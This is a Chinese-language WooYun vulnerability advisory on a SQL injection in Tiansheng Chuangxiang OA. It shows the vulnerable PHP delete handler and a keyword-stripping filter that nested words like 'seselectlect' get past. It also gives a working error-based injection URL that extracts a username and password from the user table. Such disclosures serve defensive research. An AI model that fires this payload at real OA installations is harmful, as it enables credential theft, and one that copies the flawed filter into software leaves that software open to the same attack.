当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061289

漏洞标题:创想oa SQL注入漏洞一(绕过防注入系统)

相关厂商:天生创想oa

漏洞作者: 路人甲

提交时间:2014-05-19 17:57

修复时间:2014-08-17 18:02

公开时间:2014-08-17 18:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-19: 细节已通知厂商并且等待厂商处理中
2014-05-23: 厂商已经确认,细节仅向厂商公开
2014-05-26: 细节向第三方安全合作伙伴开放
2014-07-17: 细节向核心白帽子及相关领域专家公开
2014-07-27: 细节向普通白帽子公开
2014-08-06: 细节向实习白帽子公开
2014-08-17: 细节向公众公开

简要描述:

详细说明:

0x001 简介

{{Z]UOA%LYZR34O~@B%RNQW.jpg

北京天生创想信息技术有限公司自公司成立以来,天生创想始终致力于为中国企业特别是成长型企业提供专业信息化服务,在国内率先开创了以运营模式实现企业信 息化的先河。基于对成长型企业群体的特点和信息化需求的深刻理解,天生创想坚定地选择了“互联网应用”模式作为帮助企业实现信息化管理的手段。遵循这一理 念,天生创想已成功为无数企业客户提供了全方位、多层面的信息化解决方案。多年来的成功实践充分证明了“互联网应用”是最适合成长型企业的信息化实现模式。
0x002 客户群体 客户群体包括:政府、银行、企业、教育、公安、能源 等等单位

8{RGY`U{LP@N2GR%4CKW7TG.jpg


0x003 漏洞分析在workbench\mod_blog.php中

include_once('template/bloglist.php');
}elseif ($do == 'update') {

get_key("date_blog_delete");
//$idarr = getGP('id','P','array');
$id = getGP('id','G');// get获取id值,中间经过了防注入函数
//foreach ($idarr as $id) {
$db->query("DELETE FROM ".DB_TABLEPRE."blog WHERE id = '$id' ");
$db->query("DELETE FROM ".DB_TABLEPRE."bbs_log WHERE bbsid = '$id' and type='9' ");
//}
$content=serialize($idarr);
$title='删除日志信息';
get_logadd($id,$content,$title,10,$_USER->id);
show_msg('日志信息删除成功!', 'admin.php?ac='.$ac.'&fileurl='.$fileurl.'');


我们看看getGP函数是如何获取变量的?

function getGP($var, $method = 'GP', $type = 'string') {
if ($method == 'G' || $method != 'P' && isset($_GET[$var])) {
$gp = &$_GET;
} else {
$gp = &$_POST;
}
if ($type == 'int') {
return isset($gp[$var]) ? intval($gp[$var]) : 0;
} elseif ($type == 'array') {
return isset($gp[$var]) ? (array)getsql($gp[$var]) : array();
} else {
return isset($gp[$var]) ? (string)trim(getsql($gp[$var])) : '';
}
}


继续跟踪getsql()函数

function getsql($str){
$str=str_replace('select','',$str);
$str=str_replace('join','',$str);
$str=str_replace('union','',$str);
$str=str_replace('where ','',$str);
$str=str_replace('insert','',$str);
$str=str_replace('delete','',$str);
$str=str_replace('and ','',$str);
$str=str_replace('drop','',$str);
$str=str_replace('create','',$str);
$str=str_replace('script','',$str);
$str=str_replace('alert','',$str);
return $str;
}


这里对常见的注入函数都进行了过滤。
绕过该函数达到注入,有2种方法
方法一
1、大小写替换;
2、采用一次替换姿势,如(seselectlect, 经过该函数之后过滤就变成了select)
0x04 exp构造
http://localhost/oa/admin.php?ac=blog&fileurl=workbench&menuid=20&do=update&id=1' or 1=(seselectlect 1 from (seselectlect count(*),concat((seselectlect concat(username,0x3a,password) from po_user wHere id =1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- a

@8$91BCSGM2MN0}MV2%2(FN.jpg

漏洞证明:

@8$91BCSGM2MN0}MV2%2(FN.jpg

修复方案:

改改这个防注入过滤函数吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-23 14:50

厂商回复:

CNVD未在实例上确认所述情况,尝试通过公开联系渠道联系软件生产厂商,北京天生创想信息技术有限公司,联系人:****,对方回复称不需要修复。

最新状态:

暂无